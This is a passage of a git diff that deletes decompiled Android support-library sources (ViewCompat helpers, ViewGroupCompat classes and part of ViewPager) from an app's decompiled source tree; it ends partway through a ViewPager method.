dispatchApplyWindowInsets = view.dispatchApplyWindowInsets(windowInsets); - return dispatchApplyWindowInsets != windowInsets ? new WindowInsets(dispatchApplyWindowInsets) : obj; - } - - public static void setNestedScrollingEnabled(View view, boolean z) { - view.setNestedScrollingEnabled(z); - } - - public static boolean isNestedScrollingEnabled(View view) { - return view.isNestedScrollingEnabled(); - } - - public static boolean startNestedScroll(View view, int i) { - return view.startNestedScroll(i); - } - - public static void stopNestedScroll(View view) { - view.stopNestedScroll(); - } - - public static boolean hasNestedScrollingParent(View view) { - return view.hasNestedScrollingParent(); - } - - public static boolean dispatchNestedScroll(View view, int i, int i2, int i3, int i4, int[] iArr) { - return view.dispatchNestedScroll(i, i2, i3, i4, iArr); - } - - public static boolean dispatchNestedPreScroll(View view, int i, int i2, int[] iArr, int[] iArr2) { - return view.dispatchNestedPreScroll(i, i2, iArr, iArr2); - } - - public static boolean dispatchNestedFling(View view, float f, float f2, boolean z) { - return view.dispatchNestedFling(f, f2, z); - } - - public static boolean dispatchNestedPreFling(View view, float f, float f2) { - return view.dispatchNestedPreFling(f, f2); - } - - public static float getZ(View view) { - return view.getZ(); - } - - public static void setZ(View view, float f) { - view.setZ(f); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void offsetTopAndBottom(View view, int i) { - boolean z; - Rect emptyTempRect = getEmptyTempRect(); - ViewParent parent = view.getParent(); - if (parent instanceof View) { - View view2 = (View) parent; - emptyTempRect.set(view2.getLeft(), view2.getTop(), view2.getRight(), view2.getBottom()); - z = !emptyTempRect.intersects(view.getLeft(), view.getTop(), view.getRight(), view.getBottom()); - } else { - z = false; - } - ViewCompatHC.offsetTopAndBottom(view, i); - if (z && emptyTempRect.intersect(view.getLeft(), view.getTop(), view.getRight(), view.getBottom())) { - ((View) parent).invalidate(emptyTempRect); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void offsetLeftAndRight(View view, int i) { - boolean z; - Rect emptyTempRect = getEmptyTempRect(); - ViewParent parent = view.getParent(); - if (parent instanceof View) { - View view2 = (View) parent; - emptyTempRect.set(view2.getLeft(), view2.getTop(), view2.getRight(), view2.getBottom()); - z = !emptyTempRect.intersects(view.getLeft(), view.getTop(), view.getRight(), view.getBottom()); - } else { - z = false; - } - ViewCompatHC.offsetLeftAndRight(view, i); - if (z && emptyTempRect.intersect(view.getLeft(), view.getTop(), view.getRight(), view.getBottom())) { - ((View) parent).invalidate(emptyTempRect); - } - } - - private static Rect getEmptyTempRect() { - if (sThreadLocalRect == null) { - sThreadLocalRect = new ThreadLocal<>(); - } - Rect rect = sThreadLocalRect.get(); - if (rect == null) { - rect = new Rect(); - sThreadLocalRect.set(rect); - } - rect.setEmpty(); - return rect; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatMarshmallow.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatMarshmallow.java deleted file mode 100644 index cefde41..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatMarshmallow.java +++ /dev/null @@ -1,30 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewCompatMarshmallow { - ViewCompatMarshmallow() { - } - - public static void setScrollIndicators(View view, int i) { - view.setScrollIndicators(i); - } - - public static void setScrollIndicators(View view, int i, int i2) { - view.setScrollIndicators(i, i2); - } - - public static int getScrollIndicators(View view) { - return view.getScrollIndicators(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void offsetTopAndBottom(View view, int i) { - view.offsetTopAndBottom(i); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void offsetLeftAndRight(View view, int i) { - view.offsetLeftAndRight(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewConfigurationCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewConfigurationCompat.java deleted file mode 100644 index e9bd652..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewConfigurationCompat.java +++ /dev/null @@ -1,57 +0,0 @@ -package android.support.v4.view; - -import android.view.ViewConfiguration; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ViewConfigurationCompat { - static final ViewConfigurationVersionImpl IMPL = new IcsViewConfigurationVersionImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface ViewConfigurationVersionImpl { - boolean hasPermanentMenuKey(ViewConfiguration viewConfiguration); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseViewConfigurationVersionImpl implements ViewConfigurationVersionImpl { - @Override // android.support.v4.view.ViewConfigurationCompat.ViewConfigurationVersionImpl - public boolean hasPermanentMenuKey(ViewConfiguration viewConfiguration) { - return true; - } - - BaseViewConfigurationVersionImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class HoneycombViewConfigurationVersionImpl extends BaseViewConfigurationVersionImpl { - @Override // android.support.v4.view.ViewConfigurationCompat.BaseViewConfigurationVersionImpl, android.support.v4.view.ViewConfigurationCompat.ViewConfigurationVersionImpl - public boolean hasPermanentMenuKey(ViewConfiguration viewConfiguration) { - return false; - } - - HoneycombViewConfigurationVersionImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class IcsViewConfigurationVersionImpl extends HoneycombViewConfigurationVersionImpl { - IcsViewConfigurationVersionImpl() { - } - - @Override // android.support.v4.view.ViewConfigurationCompat.HoneycombViewConfigurationVersionImpl, android.support.v4.view.ViewConfigurationCompat.BaseViewConfigurationVersionImpl, android.support.v4.view.ViewConfigurationCompat.ViewConfigurationVersionImpl - public boolean hasPermanentMenuKey(ViewConfiguration viewConfiguration) { - return ViewConfigurationCompatICS.hasPermanentMenuKey(viewConfiguration); - } - } - - @Deprecated - public static int getScaledPagingTouchSlop(ViewConfiguration viewConfiguration) { - return viewConfiguration.getScaledPagingTouchSlop(); - } - - public static boolean hasPermanentMenuKey(ViewConfiguration viewConfiguration) { - return IMPL.hasPermanentMenuKey(viewConfiguration); - } - - private ViewConfigurationCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewConfigurationCompatICS.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewConfigurationCompatICS.java deleted file mode 100644 index 72ec23b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewConfigurationCompatICS.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.view; - -import android.view.ViewConfiguration; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewConfigurationCompatICS { - ViewConfigurationCompatICS() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static boolean hasPermanentMenuKey(ViewConfiguration viewConfiguration) { - return viewConfiguration.hasPermanentMenuKey(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompat.java deleted file mode 100644 index c8f41d0..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompat.java +++ /dev/null @@ -1,159 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -import android.view.ViewGroup; -import android.view.accessibility.AccessibilityEvent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ViewGroupCompat { - static final ViewGroupCompatImpl IMPL = new ViewGroupCompatLollipopImpl(); - public static final int LAYOUT_MODE_CLIP_BOUNDS = 0; - public static final int LAYOUT_MODE_OPTICAL_BOUNDS = 1; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface ViewGroupCompatImpl { - int getLayoutMode(ViewGroup viewGroup); - - int getNestedScrollAxes(ViewGroup viewGroup); - - boolean isTransitionGroup(ViewGroup viewGroup); - - boolean onRequestSendAccessibilityEvent(ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent); - - void setLayoutMode(ViewGroup viewGroup, int i); - - void setMotionEventSplittingEnabled(ViewGroup viewGroup, boolean z); - - void setTransitionGroup(ViewGroup viewGroup, boolean z); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ViewGroupCompatStubImpl implements ViewGroupCompatImpl { - @Override // android.support.v4.view.ViewGroupCompat.ViewGroupCompatImpl - public int getLayoutMode(ViewGroup viewGroup) { - return 0; - } - - @Override // android.support.v4.view.ViewGroupCompat.ViewGroupCompatImpl - public boolean isTransitionGroup(ViewGroup viewGroup) { - return false; - } - - @Override // android.support.v4.view.ViewGroupCompat.ViewGroupCompatImpl - public boolean onRequestSendAccessibilityEvent(ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent) { - return true; - } - - @Override // android.support.v4.view.ViewGroupCompat.ViewGroupCompatImpl - public void setLayoutMode(ViewGroup viewGroup, int i) { - } - - @Override // android.support.v4.view.ViewGroupCompat.ViewGroupCompatImpl - public void setMotionEventSplittingEnabled(ViewGroup viewGroup, boolean z) { - } - - @Override // android.support.v4.view.ViewGroupCompat.ViewGroupCompatImpl - public void setTransitionGroup(ViewGroup viewGroup, boolean z) { - } - - ViewGroupCompatStubImpl() { - } - - @Override // android.support.v4.view.ViewGroupCompat.ViewGroupCompatImpl - public int getNestedScrollAxes(ViewGroup viewGroup) { - if (viewGroup instanceof NestedScrollingParent) { - return ((NestedScrollingParent) viewGroup).getNestedScrollAxes(); - } - return 0; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ViewGroupCompatHCImpl extends ViewGroupCompatStubImpl { - ViewGroupCompatHCImpl() { - } - - @Override // android.support.v4.view.ViewGroupCompat.ViewGroupCompatStubImpl, android.support.v4.view.ViewGroupCompat.ViewGroupCompatImpl - public void setMotionEventSplittingEnabled(ViewGroup viewGroup, boolean z) { - ViewGroupCompatHC.setMotionEventSplittingEnabled(viewGroup, z); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ViewGroupCompatIcsImpl extends ViewGroupCompatHCImpl { - ViewGroupCompatIcsImpl() { - } - - @Override // android.support.v4.view.ViewGroupCompat.ViewGroupCompatStubImpl, android.support.v4.view.ViewGroupCompat.ViewGroupCompatImpl - public boolean onRequestSendAccessibilityEvent(ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent) { - return ViewGroupCompatIcs.onRequestSendAccessibilityEvent(viewGroup, view, accessibilityEvent); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ViewGroupCompatJellybeanMR2Impl extends ViewGroupCompatIcsImpl { - ViewGroupCompatJellybeanMR2Impl() { - } - - @Override // android.support.v4.view.ViewGroupCompat.ViewGroupCompatStubImpl, android.support.v4.view.ViewGroupCompat.ViewGroupCompatImpl - public int getLayoutMode(ViewGroup viewGroup) { - return ViewGroupCompatJellybeanMR2.getLayoutMode(viewGroup); - } - - @Override // android.support.v4.view.ViewGroupCompat.ViewGroupCompatStubImpl, android.support.v4.view.ViewGroupCompat.ViewGroupCompatImpl - public void setLayoutMode(ViewGroup viewGroup, int i) { - ViewGroupCompatJellybeanMR2.setLayoutMode(viewGroup, i); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ViewGroupCompatLollipopImpl extends ViewGroupCompatJellybeanMR2Impl { - ViewGroupCompatLollipopImpl() { - } - - @Override // android.support.v4.view.ViewGroupCompat.ViewGroupCompatStubImpl, android.support.v4.view.ViewGroupCompat.ViewGroupCompatImpl - public void setTransitionGroup(ViewGroup viewGroup, boolean z) { - ViewGroupCompatLollipop.setTransitionGroup(viewGroup, z); - } - - @Override // android.support.v4.view.ViewGroupCompat.ViewGroupCompatStubImpl, android.support.v4.view.ViewGroupCompat.ViewGroupCompatImpl - public boolean isTransitionGroup(ViewGroup viewGroup) { - return ViewGroupCompatLollipop.isTransitionGroup(viewGroup); - } - - @Override // android.support.v4.view.ViewGroupCompat.ViewGroupCompatStubImpl, android.support.v4.view.ViewGroupCompat.ViewGroupCompatImpl - public int getNestedScrollAxes(ViewGroup viewGroup) { - return ViewGroupCompatLollipop.getNestedScrollAxes(viewGroup); - } - } - - private ViewGroupCompat() { - } - - public static boolean onRequestSendAccessibilityEvent(ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent) { - return IMPL.onRequestSendAccessibilityEvent(viewGroup, view, accessibilityEvent); - } - - public static void setMotionEventSplittingEnabled(ViewGroup viewGroup, boolean z) { - IMPL.setMotionEventSplittingEnabled(viewGroup, z); - } - - public static int getLayoutMode(ViewGroup viewGroup) { - return IMPL.getLayoutMode(viewGroup); - } - - public static void setLayoutMode(ViewGroup viewGroup, int i) { - IMPL.setLayoutMode(viewGroup, i); - } - - public static void setTransitionGroup(ViewGroup viewGroup, boolean z) { - IMPL.setTransitionGroup(viewGroup, z); - } - - public static boolean isTransitionGroup(ViewGroup viewGroup) { - return IMPL.isTransitionGroup(viewGroup); - } - - public static int getNestedScrollAxes(ViewGroup viewGroup) { - return IMPL.getNestedScrollAxes(viewGroup); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompatHC.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompatHC.java deleted file mode 100644 index 552c4f0..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompatHC.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.view; - -import android.view.ViewGroup; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewGroupCompatHC { - private ViewGroupCompatHC() { - } - - public static void setMotionEventSplittingEnabled(ViewGroup viewGroup, boolean z) { - viewGroup.setMotionEventSplittingEnabled(z); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompatIcs.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompatIcs.java deleted file mode 100644 index 615ffa9..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompatIcs.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -import android.view.ViewGroup; -import android.view.accessibility.AccessibilityEvent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewGroupCompatIcs { - ViewGroupCompatIcs() { - } - - public static boolean onRequestSendAccessibilityEvent(ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent) { - return viewGroup.onRequestSendAccessibilityEvent(view, accessibilityEvent); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompatJellybeanMR2.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompatJellybeanMR2.java deleted file mode 100644 index f40766b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompatJellybeanMR2.java +++ /dev/null @@ -1,16 +0,0 @@ -package android.support.v4.view; - -import android.view.ViewGroup; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewGroupCompatJellybeanMR2 { - ViewGroupCompatJellybeanMR2() { - } - - public static int getLayoutMode(ViewGroup viewGroup) { - return viewGroup.getLayoutMode(); - } - - public static void setLayoutMode(ViewGroup viewGroup, int i) { - viewGroup.setLayoutMode(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompatLollipop.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompatLollipop.java deleted file mode 100644 index 7522139..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewGroupCompatLollipop.java +++ /dev/null @@ -1,20 +0,0 @@ -package android.support.v4.view; - -import android.view.ViewGroup; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewGroupCompatLollipop { - ViewGroupCompatLollipop() { - } - - public static void setTransitionGroup(ViewGroup viewGroup, boolean z) { - viewGroup.setTransitionGroup(z); - } - - public static boolean isTransitionGroup(ViewGroup viewGroup) { - return viewGroup.isTransitionGroup(); - } - - public static int getNestedScrollAxes(ViewGroup viewGroup) { - return viewGroup.getNestedScrollAxes(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPager.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPager.java deleted file mode 100644 index 62abd33..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewPager.java +++ /dev/null @@ -1,2159 +0,0 @@ -package android.support.v4.view; - -import android.content.Context; -import android.content.res.TypedArray; -import android.database.DataSetObserver; -import android.graphics.Canvas; -import android.graphics.Rect; -import android.graphics.drawable.Drawable; -import android.os.Bundle; -import android.os.Parcel; -import android.os.Parcelable; -import android.os.SystemClock; -import android.support.v4.os.ParcelableCompat; -import android.support.v4.os.ParcelableCompatCreatorCallbacks; -import android.support.v4.view.accessibility.AccessibilityEventCompat; -import android.support.v4.view.accessibility.AccessibilityNodeInfoCompat; -import android.support.v4.view.accessibility.AccessibilityRecordCompat; -import android.support.v4.widget.EdgeEffectCompat; -import android.support.v4.widget.ExploreByTouchHelper; -import android.util.AttributeSet; -import android.util.Log; -import android.view.KeyEvent; -import android.view.MotionEvent; -import android.view.VelocityTracker; -import android.view.View; -import android.view.ViewConfiguration; -import android.view.ViewGroup; -import android.view.ViewParent; -import android.view.accessibility.AccessibilityEvent; -import android.view.animation.Interpolator; -import android.widget.Scroller; -import java.lang.annotation.ElementType; -import java.lang.annotation.Inherited; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.Collections; -import java.util.Comparator; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ViewPager extends ViewGroup { - private static final int CLOSE_ENOUGH = 2; - private static final boolean DEBUG = false; - private static final int DEFAULT_GUTTER_SIZE = 16; - private static final int DEFAULT_OFFSCREEN_PAGES = 1; - private static final int DRAW_ORDER_DEFAULT = 0; - private static final int DRAW_ORDER_FORWARD = 1; - private static final int DRAW_ORDER_REVERSE = 2; - private static final int INVALID_POINTER = -1; - private static final int MAX_SETTLE_DURATION = 600; - private static final int MIN_DISTANCE_FOR_FLING = 25; - private static final int MIN_FLING_VELOCITY = 400; - public static final int SCROLL_STATE_DRAGGING = 1; - public static final int SCROLL_STATE_IDLE = 0; - public static final int SCROLL_STATE_SETTLING = 2; - private static final String TAG = "ViewPager"; - private static final boolean USE_CACHE = false; - private int mActivePointerId; - PagerAdapter mAdapter; - private List mAdapterChangeListeners; - private int mBottomPageBounds; - private boolean mCalledSuper; - private int mChildHeightMeasureSpec; - private int mChildWidthMeasureSpec; - private int mCloseEnough; - int mCurItem; - private int mDecorChildCount; - private int mDefaultGutterSize; - private int mDrawingOrder; - private ArrayList mDrawingOrderedChildren; - private final Runnable mEndScrollRunnable; - private int mExpectedAdapterCount; - private long mFakeDragBeginTime; - private boolean mFakeDragging; - private boolean mFirstLayout; - private float mFirstOffset; - private int mFlingDistance; - private int mGutterSize; - private boolean mInLayout; - private float mInitialMotionX; - private float mInitialMotionY; - private OnPageChangeListener mInternalPageChangeListener; - private boolean mIsBeingDragged; - private boolean mIsScrollStarted; - private boolean mIsUnableToDrag; - private final ArrayList mItems; - private float mLastMotionX; - private float mLastMotionY; - private float mLastOffset; - private EdgeEffectCompat mLeftEdge; - private Drawable mMarginDrawable; - private int mMaximumVelocity; - private int mMinimumVelocity; - private boolean mNeedCalculatePageOffsets; - private PagerObserver mObserver; - private int mOffscreenPageLimit; - private OnPageChangeListener mOnPageChangeListener; - private List mOnPageChangeListeners; - private int mPageMargin; - private PageTransformer mPageTransformer; - private boolean mPopulatePending; - private Parcelable mRestoredAdapterState; - private ClassLoader mRestoredClassLoader; - private int mRestoredCurItem; - private EdgeEffectCompat mRightEdge; - private int mScrollState; - private Scroller mScroller; - private boolean mScrollingCacheEnabled; - private Method mSetChildrenDrawingOrderEnabled; - private final ItemInfo mTempItem; - private final Rect mTempRect; - private int mTopPageBounds; - private int mTouchSlop; - private VelocityTracker mVelocityTracker; - static final int[] LAYOUT_ATTRS = {16842931}; - private static final Comparator COMPARATOR = new Comparator() { // from class: android.support.v4.view.ViewPager.1 - @Override // java.util.Comparator - public int compare(ItemInfo itemInfo, ItemInfo itemInfo2) { - return itemInfo.position - itemInfo2.position; - } - }; - private static final Interpolator sInterpolator = new Interpolator() { // from class: android.support.v4.view.ViewPager.2 - @Override // android.animation.TimeInterpolator - public float getInterpolation(float f) { - float f2 = f - 1.0f; - return (f2 * f2 * f2 * f2 * f2) + 1.0f; - } - }; - private static final ViewPositionComparator sPositionComparator = new ViewPositionComparator(); - - @Target({ElementType.TYPE}) - @Inherited - @Retention(RetentionPolicy.RUNTIME) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface DecorView { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnAdapterChangeListener { - void onAdapterChanged(ViewPager viewPager, PagerAdapter pagerAdapter, PagerAdapter pagerAdapter2); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnPageChangeListener { - void onPageScrollStateChanged(int i); - - void onPageScrolled(int i, float f, int i2); - - void onPageSelected(int i); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface PageTransformer { - void transformPage(View view, float f); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SimpleOnPageChangeListener implements OnPageChangeListener { - @Override // android.support.v4.view.ViewPager.OnPageChangeListener - public void onPageScrollStateChanged(int i) { - } - - @Override // android.support.v4.view.ViewPager.OnPageChangeListener - public void onPageScrolled(int i, float f, int i2) { - } - - @Override // android.support.v4.view.ViewPager.OnPageChangeListener - public void onPageSelected(int i) { - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class ItemInfo { - Object object; - float offset; - int position; - boolean scrolling; - float widthFactor; - - ItemInfo() { - } - } - - public ViewPager(Context context) { - super(context); - this.mItems = new ArrayList<>(); - this.mTempItem = new ItemInfo(); - this.mTempRect = new Rect(); - this.mRestoredCurItem = -1; - this.mRestoredAdapterState = null; - this.mRestoredClassLoader = null; - this.mFirstOffset = -3.4028235E38f; - this.mLastOffset = Float.MAX_VALUE; - this.mOffscreenPageLimit = 1; - this.mActivePointerId = -1; - this.mFirstLayout = true; - this.mNeedCalculatePageOffsets = false; - this.mEndScrollRunnable = new Runnable() { // from class: android.support.v4.view.ViewPager.3 - @Override // java.lang.Runnable - public void run() { - ViewPager.this.setScrollState(0); - ViewPager.this.populate(); - } - }; - this.mScrollState = 0; - initViewPager(); - } - - public ViewPager(Context context, AttributeSet attributeSet) { - super(context, attributeSet); - this.mItems = new ArrayList<>(); - this.mTempItem = new ItemInfo(); - this.mTempRect = new Rect(); - this.mRestoredCurItem = -1; - this.mRestoredAdapterState = null; - this.mRestoredClassLoader = null; - this.mFirstOffset = -3.4028235E38f; - this.mLastOffset = Float.MAX_VALUE; - this.mOffscreenPageLimit = 1; - this.mActivePointerId = -1; - this.mFirstLayout = true; - this.mNeedCalculatePageOffsets = false; - this.mEndScrollRunnable = new Runnable() { // from class: android.support.v4.view.ViewPager.3 - @Override // java.lang.Runnable - public void run() { - ViewPager.this.setScrollState(0); - ViewPager.this.populate(); - } - }; - this.mScrollState = 0; - initViewPager(); - } - - void initViewPager() { - setWillNotDraw(false); - setDescendantFocusability(262144); - setFocusable(true); - Context context = getContext(); - this.mScroller = new Scroller(context, sInterpolator); - ViewConfiguration viewConfiguration = ViewConfiguration.get(context); - float f = context.getResources().getDisplayMetrics().density; - this.mTouchSlop = viewConfiguration.getScaledPagingTouchSlop(); - this.mMinimumVelocity = (int) (400.0f * f); - this.mMaximumVelocity = viewConfiguration.getScaledMaximumFlingVelocity(); - this.mLeftEdge = new EdgeEffectCompat(context); - this.mRightEdge = new EdgeEffectCompat(context); - this.mFlingDistance = (int) (25.0f * f); - this.mCloseEnough = (int) (2.0f * f); - this.mDefaultGutterSize = (int) (f * 16.0f); - ViewCompat.setAccessibilityDelegate(this, new MyAccessibilityDelegate()); - if (ViewCompat.getImportantForAccessibility(this) == 0) { - ViewCompat.setImportantForAccessibility(this, 1); - } - ViewCompat.setOnApplyWindowInsetsListener(this, new OnApplyWindowInsetsListener() { // from class: android.support.v4.view.ViewPager.4 - private final Rect mTempRect = new Rect(); - - @Override // android.support.v4.view.OnApplyWindowInsetsListener - public WindowInsetsCompat onApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat) { - WindowInsetsCompat onApplyWindowInsets = ViewCompat.onApplyWindowInsets(view, windowInsetsCompat); - if (onApplyWindowInsets.isConsumed()) { - return onApplyWindowInsets; - } - Rect rect = this.mTempRect; - rect.left = onApplyWindowInsets.getSystemWindowInsetLeft(); - rect.top = onApplyWindowInsets.getSystemWindowInsetTop(); - rect.right = onApplyWindowInsets.getSystemWindowInsetRight(); - rect.bottom = onApplyWindowInsets.getSystemWindowInsetBottom(); - int childCount = ViewPager.this.getChildCount(); - for (int i = 0; i < childCount; i++) { - WindowInsetsCompat dispatchApplyWindowInsets = ViewCompat.dispatchApplyWindowInsets(ViewPager.this.getChildAt(i), onApplyWindowInsets); - rect.left = Math.min(dispatchApplyWindowInsets.getSystemWindowInsetLeft(), rect.left); - rect.top = Math.min(dispatchApplyWindowInsets.getSystemWindowInsetTop(), rect.top); - rect.right = Math.min(dispatchApplyWindowInsets.getSystemWindowInsetRight(), rect.right); - rect.bottom = Math.min(dispatchApplyWindowInsets.getSystemWindowInsetBottom(), rect.bottom); - } - return onApplyWindowInsets.replaceSystemWindowInsets(rect.left, rect.top, rect.right, rect.bottom); - } - }); - } - - @Override // android.view.ViewGroup, android.view.View - protected void onDetachedFromWindow() { - removeCallbacks(this.mEndScrollRunnable); - Scroller scroller = this.mScroller; - if (scroller != null && !scroller.isFinished()) { - this.mScroller.abortAnimation(); - } - super.onDetachedFromWindow(); - } - - void setScrollState(int i) { - if (this.mScrollState == i) { - return; - } - this.mScrollState = i; - if (this.mPageTransformer != null) { - enableLayers(i != 0); - } - dispatchOnScrollStateChanged(i); - } - - public void setAdapter(PagerAdapter pagerAdapter) { - PagerAdapter pagerAdapter2 = this.mAdapter; - if (pagerAdapter2 != null) { - pagerAdapter2.setViewPagerObserver(null); - this.mAdapter.startUpdate((ViewGroup) this); - for (int i = 0; i < this.mItems.size(); i++) { - ItemInfo itemInfo = this.mItems.get(i); - this.mAdapter.destroyItem((ViewGroup) this, itemInfo.position, itemInfo.object); - } - this.mAdapter.finishUpdate((ViewGroup) this); - this.mItems.clear(); - removeNonDecorViews(); - this.mCurItem = 0; - scrollTo(0, 0); - } - PagerAdapter pagerAdapter3 = this.mAdapter; - this.mAdapter = pagerAdapter; - this.mExpectedAdapterCount = 0; - if (pagerAdapter != null) { - if (this.mObserver == null) { - this.mObserver = new PagerObserver(); - } - this.mAdapter.setViewPagerObserver(this.mObserver); - this.mPopulatePending = false; - boolean z = this.mFirstLayout; - this.mFirstLayout = true; - this.mExpectedAdapterCount = this.mAdapter.getCount(); - if (this.mRestoredCurItem >= 0) { - this.mAdapter.restoreState(this.mRestoredAdapterState, this.mRestoredClassLoader); - setCurrentItemInternal(this.mRestoredCurItem, false, true); - this.mRestoredCurItem = -1; - this.mRestoredAdapterState = null; - this.mRestoredClassLoader = null; - } else if (!z) { - populate(); - } else { - requestLayout(); - } - } - List list = this.mAdapterChangeListeners; - if (list == null || list.isEmpty()) { - return; - } - int size = this.mAdapterChangeListeners.size(); - for (int i2 = 0; i2 < size; i2++) { - this.mAdapterChangeListeners.get(i2).onAdapterChanged(this, pagerAdapter3, pagerAdapter); - } - } - - private void removeNonDecorViews() { - int i = 0; - while (i < getChildCount()) { - if (!((LayoutParams) getChildAt(i).getLayoutParams()).isDecor) { - removeViewAt(i); - i--; - } - i++; - } - } - - public PagerAdapter getAdapter() { - return this.mAdapter; - } - - public void addOnAdapterChangeListener(OnAdapterChangeListener onAdapterChangeListener) { - if (this.mAdapterChangeListeners == null) { - this.mAdapterChangeListeners = new ArrayList(); - } - this.mAdapterChangeListeners.add(onAdapterChangeListener); - } - - public void removeOnAdapterChangeListener(OnAdapterChangeListener onAdapterChangeListener) { - List list = this.mAdapterChangeListeners; - if (list != null) { - list.remove(onAdapterChangeListener); - } - } - - private int getClientWidth() { - return (getMeasuredWidth() - getPaddingLeft()) - getPaddingRight(); - } - - public void setCurrentItem(int i) { - this.mPopulatePending = false; - setCurrentItemInternal(i, !this.mFirstLayout, false); - } - - public void setCurrentItem(int i, boolean z) { - this.mPopulatePending = false; - setCurrentItemInternal(i, z, false); - } - - public int getCurrentItem() { - return this.mCurItem; - } - - void setCurrentItemInternal(int i, boolean z, boolean z2) { - setCurrentItemInternal(i, z, z2, 0); - } - - void setCurrentItemInternal(int i, boolean z, boolean z2, int i2) { - PagerAdapter pagerAdapter = this.mAdapter; - if (pagerAdapter == null || pagerAdapter.getCount() <= 0) { - setScrollingCacheEnabled(false); - } else if (!z2 && this.mCurItem == i && this.mItems.size() != 0) { - setScrollingCacheEnabled(false); - } else { - if (i < 0) { - i = 0; - } else if (i >= this.mAdapter.getCount()) { - i = this.mAdapter.getCount() - 1; - } - int i3 = this.mOffscreenPageLimit; - int i4 = this.mCurItem; - if (i > i4 + i3 || i < i4 - i3) { - for (int i5 = 0; i5 < this.mItems.size(); i5++) { - this.mItems.get(i5).scrolling = true; - } - } - boolean z3 = this.mCurItem != i; - if (this.mFirstLayout) { - this.mCurItem = i; - if (z3) { - dispatchOnPageSelected(i); - } - requestLayout(); - return; - } - populate(i); - scrollToItem(i, z, i2, z3); - } - } - - private void scrollToItem(int i, boolean z, int i2, boolean z2) { - ItemInfo infoForPosition = infoForPosition(i); - int clientWidth = infoForPosition != null ? (int) (getClientWidth() * Math.max(this.mFirstOffset, Math.min(infoForPosition.offset, this.mLastOffset))) : 0; - if (z) { - 